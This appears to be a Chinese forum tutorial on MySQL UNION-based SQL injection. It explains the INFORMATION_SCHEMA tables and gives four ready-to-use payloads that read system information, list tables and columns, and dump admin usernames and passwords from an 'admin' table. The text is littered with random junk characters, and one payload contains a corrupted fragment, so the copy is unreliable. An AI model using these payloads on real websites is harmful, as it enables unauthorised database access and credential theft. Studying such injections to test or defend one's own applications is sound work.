mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法
' E( u  i% k. }' I9 [
学习盲注前先了解下 IFORMATION_SCHEMA 库
2 e# J( K# o' l  `! J
! \1 ]/ |4 k% ]Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
% e" x" u& Z. x0 c% E存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
! K9 p( z$ C& [( T|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称

+ a7 q7 Z3 ]& N# A0 y|TABLES ->存储表名
( G4 W3 r1 ~- r, O|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
. j* }& ^: p' w8 a|---字段：TABLE_NAME ->存储表的表名

/ J+ u- W* g( x( U2 O7 V: M|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称
/ f4 C" E! V% v+ V4 Q) k6 f
5 i$ m: n) O" f  f2 {) B|---字段：COLUMN_NAME ->该字段的名称

0 Z4 S3 s1 W- h
9 c( B' L3 k! w; c! C) \
1 \$ }' l+ _) Y4 _+ h###########################################################################

0x001 获取系统信息:

union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

1 i9 `! @, D0 |1 Y1 x: _/*
4 @3 ^( j1 i7 n- {% F
@@global.version_compile_os 获取系统版本
( m1 v. m8 o9 ^2 L
: T' r; I8 K  J# {  v/ s, t@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值
4 [2 X( N1 c7 V; [2 J, |
5 l) Q/ z/ T& b7 O0 r5 D*/



; z; f, i" b: }$ `6 V######################################################################

" Q0 {" U  D5 [0 X. y0x002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*


0 r) ^& F3 t! c! a1 T: b+ n
/*

6 O( d; B! E0 L9 _6 _( Z0x67617264656e 为当前数据库名
# ~1 }% y; P/ q. L
+ v9 u5 o  ~- A1 }$ X9 e% a' bgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
0 e$ J* r/ J- p& {6 ^, u5 d
*/

######################################################################
6 g3 h/ J/ b" P( h2 ]

- a( A5 D3 K! E) {# {0 s
9 q/ K, l2 V) m0x003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
) d6 b$ s% l+ G2 S
$ ^6 F  e. R# v" p. P" W0 n/*
0 H/ @0 ^7 h/ M& ~: g' G
group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
- K* |. I7 ?/ ~& w3 ^2 s6 C) B& W
, O# E, D0 Z4 R$ A& c0x61646d696e ->选择一个表

0x67617264656e ->数据库名

*/

7 L2 C6 F! f9 P3 p- \) Q#####################################################################

9 G/ O* R/ X; J

, s, R& g- [# r4 x0x004 获取数据

% S$ Y1 c7 V' Q1 K7 b1 p, vunion select 1,2,3
+ r! t* m. q" q: D0 o* @! I,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
% f! ~9 L5 x& ^  R
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
- _4 ]) j- Z+ {

/ n, t' Q) a5 V  I! C
/*
6 U% \- a6 o+ ~
  o' d' }8 J; [; b0x3c62723e 换行符号HEX编码
8 `1 ~$ J8 q: D; M9 `$ T) ~0 g5 P
, Y  A* e# v' Q& S# c3 x, Z0 n: Jgroup_concat 同时获得该字段所有数据

+ @! ~* D" o. f0 `*/